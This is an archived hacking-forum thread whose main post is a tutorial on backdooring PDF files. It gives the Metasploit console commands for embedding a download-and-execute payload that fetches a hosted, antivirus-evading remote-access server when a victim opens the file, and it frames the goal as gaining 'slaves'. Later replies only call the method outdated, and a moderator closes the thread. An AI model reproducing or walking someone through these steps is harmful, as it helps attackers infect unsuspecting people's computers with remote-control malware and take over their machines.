View Full Version : [TUT] How to backdoor PDF's - Get lots of slaves! [TUT - FREE]

04-14-2013, 08:02 AM
This guide will tell you how to backdoor a PDF. What this basically does is that it will download your server when someone opens your PDF file

I am not responsible for what you use this guide for this meant to dont rat other SSH members

Metasploit, a PDF eBook and a FUD server.
Metasploit can be downloaded http://www.rapid7.com/products/metasploit/download.jsp
Search the web for free eBooks

Make your PDF file ready, upload your FUD server to a hosting service which provides direct download links, I would use https://www.dropbox.com/
And make sure that you have installed Metasploit correctly!

Now we will infect the PDF file
1. Open up Metasploit console

2. Type this in the console:
use exploit/windows/fileformat/adobe_pdf_embedded_exe

3. Type this in the console:
set payload windows/download_exec

4. Type this in console:
set INFILENAME <location of your pdf to infect here>

EXAMPLE: set INFILENAME C:/Users/Owner/Desktop/example.pdf

5. Type this in console:
set url <direct download link to your fud server>
EXAMPLE: set url http://download.com/server.exe

6. Type this in console:
Now you have infected your PDF file and you will be ready to send it out, when people open the infected PDF file then it will download your server and *BAM* new slave.
(The infected PDF file will be in the same directory as the original and will be named ?evil.pdf?)

04-14-2013, 08:57 AM
Pretty sure this is outdated

04-23-2013, 12:18 AM
It is. Sorry Luca :P

04-23-2013, 12:43 PM
//Closed : Outdated - reopen when updated